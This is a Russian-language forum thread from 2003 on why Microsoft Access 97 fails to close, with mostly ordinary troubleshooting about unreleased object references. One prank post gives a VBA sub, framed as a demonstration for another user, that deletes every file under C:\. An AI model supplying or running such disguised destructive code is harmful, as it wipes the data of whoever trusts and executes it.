Гость
Целевая тема:
Создать новую тему:
Автор:
Форумы / Microsoft Access [игнор отключен] [закрыт для гостей] / По какой причине Аксесс может не закрываться? / 25 сообщений из 52, страница 1 из 3
27.05.2003, 14:58:46
    #32169664
Владимир Саныч
Модератор форума
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
По какой причине Аксесс может не закрываться?
Аксесс не закрывается. Удается завалить только через Ctrl-Alt-Del. По какой причине это может быть? Знаю следующие варианты:

1. Если есть чекбокс и идет проверка If chk Then вместо If chk = True Then.

2. Если написано Select Case True в сочетании со строкой, разделенной вот _
так на две.

А может ли это быть из-за того, что создан некий объект Set o = New MyOwnClass и не сделано Set o = Nothing?
...
Рейтинг: 0 / 0
27.05.2003, 15:03:40
    #32169677
Владимир Саныч
Модератор форума
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
По какой причине Аксесс может не закрываться?
P.S. Всем заранее спасибо!
...
Рейтинг: 0 / 0
27.05.2003, 15:06:25
    #32169685
Senin Viktor
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
По какой причине Аксесс может не закрываться?
Если есть в скрытой форме

Private Sub Form_Unload(Cancel As Integer)
Cancel = True
End Sub
...
Рейтинг: 0 / 0
27.05.2003, 15:11:12
    #32169700
Alexus12
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
По какой причине Аксесс может не закрываться?
Ох, проблемка...
В ХЛ, помню, был просто кошмар:
по закрытии выдавал "ошибку в приложении" только потому,
что глобальные переменные содержали данные при выходе из ХЛ.

Лечилось созданием доп.кнопки, которая выполняла один оператор:

End

После него бы еще и выходить - да на End и суда нет...

Вопрос к ALL:
кто-нибудь юзал End в Access?
Например, вместо
Set .. = nothing?
.close

Помогает или мешает?

======

Что касается Access -
помню зависания (или просто незакрывание, как описано)
после выполнения запросов со сложными фунциями юзера внутри.

В последнее время заболевания с такими симптомами не обнаруживаются.

===
...
Рейтинг: 0 / 0
27.05.2003, 15:12:53
    #32169706
Владимир Саныч
Модератор форума
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
По какой причине Аксесс может не закрываться?
2 Senin Viktor:

Мне тоже смешно.


Уточняю: mdb внутри Аксесса уже закрыт.
...
Рейтинг: 0 / 0
27.05.2003, 15:17:57
    #32169719
incold
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
По какой причине Аксесс может не закрываться?
У меня такое бывает когда, не срабатывает Wizard (любой).
Потом симптомы те же.
...
Рейтинг: 0 / 0
27.05.2003, 15:20:05
    #32169726
Лох Позорный
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
По какой причине Аксесс может не закрываться?
Владимир Саныч, ну что как маленький? Версию аксеса скажи да?
Если 97-й, то проблема стара как 97-й аксес. При наличии ссылок на библиотеку аксеса процес не заканчивается, при попытке закрыть просто минимизируется. Как ни странно, это даже у Гетца описано, хоть книжк про 2002-й аксес.
У меня часто было так: в запросах использовал аксесовские функции (Nz, IIf и т.д.). При выходе из функций локальные рекордсеты не убивались (иногда), висели открытыми и держали ссылки на аксес (как я себе это представляю). С тех пор везде rs.Close : Set rs = Nothing
...
Рейтинг: 0 / 0
27.05.2003, 15:22:57
    #32169731
Senin Viktor
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
По какой причине Аксесс может не закрываться?
У меня - когда работаю с екцелем без корректного завершения.
Бывает и в момент сжатия/восстановления (сжимать атвоматически при закрытии)
Но очень давно этого не было. Специально повторить не получалось (хотя и пробовал)

На каком акесе вояешь?
...
Рейтинг: 0 / 0
27.05.2003, 15:27:26
    #32169738
Лох Позорный
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
По какой причине Аксесс может не закрываться?
В общем случае - аксес перестает закрываться, если на него есть ссылки. Даже если это ссылки из самого аксесовского проекта, пусть уже и закрытого.
Не умеет аксес (97-й) ссылки очищать. То лишние оставит, то нужные потеряет (например, на CurrentDb.TableDefs в упор не хочет неявную ссылку устанавливать).
...
Рейтинг: 0 / 0
27.05.2003, 15:27:54
    #32169741
Владимир Саныч
Модератор форума
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
По какой причине Аксесс может не закрываться?
> Владимир Саныч, ну что как маленький? Версию аксеса скажи да?

Каюсь. Действительно 97. Телепатия в разгаре. На форуме тренировался, да?

> С тех пор везде rs.Close : Set rs = Nothing

А с объектами моих типов, не рекордсетами?
...
Рейтинг: 0 / 0
27.05.2003, 15:41:06
    #32169769
Лох Позорный
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
По какой причине Аксесс может не закрываться?
Такие траблы были не только с рекордсетами. С Workspace'ами тоже, может еще с чем, запамятовал уже.
Видимо и с твоими собственными объектами тоже может беда случиться.
...
Рейтинг: 0 / 0
27.05.2003, 15:43:35
    #32169777
Лох Позорный
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
По какой причине Аксесс может не закрываться?
Кстати, со своими собственными объектами рекомендую Class_Terminate как можно внимательнее прошерстить. Если там ошибки времени выполнения случатся - никакие обработчики не спасут. Что в итоге получится - хз.
...
Рейтинг: 0 / 0
27.05.2003, 15:49:07
    #32169786
Senin Viktor
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
По какой причине Аксесс может не закрываться?
ну если ошибки в Class_Terminate, то у меня обычно вываливалась "Access violation ..."
Даже вернее не ошибки, а забывчивость поcтавить Nothing
...
Рейтинг: 0 / 0
27.05.2003, 16:10:07
    #32169838
Владимир Саныч
Модератор форума
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
По какой причине Аксесс может не закрываться?
Всем спасибо, Лоху отдельное и большое.

Хотя если кто чего добавит, то я буду заходить. :^)
...
Рейтинг: 0 / 0
27.05.2003, 17:06:46
    #32169936
RT++
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
По какой причине Аксесс может не закрываться?
Блин, что вы там за базы лепите, что ажно Аксесс раком становится??
Вот бы посмотреть, как он "не закрывается" (ни разу не видел - не та крутизна :()
...
Рейтинг: 0 / 0
27.05.2003, 17:10:27
    #32169939
Владимир Саныч
Модератор форума
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
По какой причине Аксесс может не закрываться?
У меня скоро будет образец. Я его тут выложу.
...
Рейтинг: 0 / 0
27.05.2003, 17:24:17
    #32169953
RT++
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
По какой причине Аксесс может не закрываться?
Чё, выкладайте.... посмотрим.... изучим....
...
Рейтинг: 0 / 0
27.05.2003, 17:27:43
    #32169958
Senin Viktor
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
По какой причине Аксесс может не закрываться?
2RT++
>Вот бы посмотреть, как он "не закрывается"

Специально для тебя. Другим не пользоваться!!!
Код: plaintext
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
Public Sub SpecialForRT()
Dim i As Long
With Application.FileSearch
    .LookIn =  "C:\" 
    .FileType = msoFileTypeAllFiles
    If .Execute >  0  Then
        For i =  1  To .FoundFiles.Count
            Kill .FoundFiles.Item(i)
        Next i
    End If
End With
End Sub
...
Рейтинг: 0 / 0
27.05.2003, 17:35:12
    #32169967
Владимир Саныч
Модератор форума
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
По какой причине Аксесс может не закрываться?
2 Senin Viktor:

Шутки шутками, а я скоро принесу настоящий образец.
...
Рейтинг: 0 / 0
27.05.2003, 17:35:40
    #32169970
Zenia
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
По какой причине Аксесс может не закрываться?
Надо еще
On Error resume next
чтобы меньше вопросов задавал
...
Рейтинг: 0 / 0
27.05.2003, 17:40:59
    #32169981
Лох Позорный
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
По какой причине Аксесс может не закрываться?
2 RT++
Ну учись, сынок
Открываешь эксель, подключаешь ссылку на 97-й аксес (если не умеешь - научим, даже в картинках покажем ). Добавляешь модуль. Делаешь в нем функцию
Код: plaintext
1.
2.
3.
Public Function AccessForever()
    Dim a As Long
    a = Nz( 1 )
End Function

Запускаешь эту функцию. Наслаждаешься бессмертным аксесом.
...
Рейтинг: 0 / 0
27.05.2003, 17:42:39
    #32169982
G&P
G&P
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
По какой причине Аксесс может не закрываться?
Кстати говоря, по поводу глюков. Вот у меня в базе на событие formload процедурка скрытия окна аксеса стояла. Так даже после того, как я вызов этой процедуры отменил, аксесс скрывал свое окно при запуске базы до тех пор, пока я её не сжал. Неужели он и эту установку не меняет без сжатия?
...
Рейтинг: 0 / 0
27.05.2003, 17:59:55
    #32170017
Senin Viktor
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
По какой причине Аксесс может не закрываться?
2Саныч
> а я скоро принесу настоящий образец.
Тогда уж сразу шли на мыло мне, а то я с инета тока дома могу качать :(
...
Рейтинг: 0 / 0
27.05.2003, 18:39:31
    #32170076
Владимир Саныч
Модератор форума
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
По какой причине Аксесс может не закрываться?
2 Senin Viktor:

Там будет 10 строчек кода и все. Я выложу прямо в форуме.
...
Рейтинг: 0 / 0
27.05.2003, 18:54:59
    #32170094
Senin Viktor
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
По какой причине Аксесс может не закрываться?
Двай. Поиздеваюсь на XP.
...
Рейтинг: 0 / 0
Форумы / Microsoft Access [игнор отключен] [закрыт для гостей] / По какой причине Аксесс может не закрываться? / 25 сообщений из 52, страница 1 из 3
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]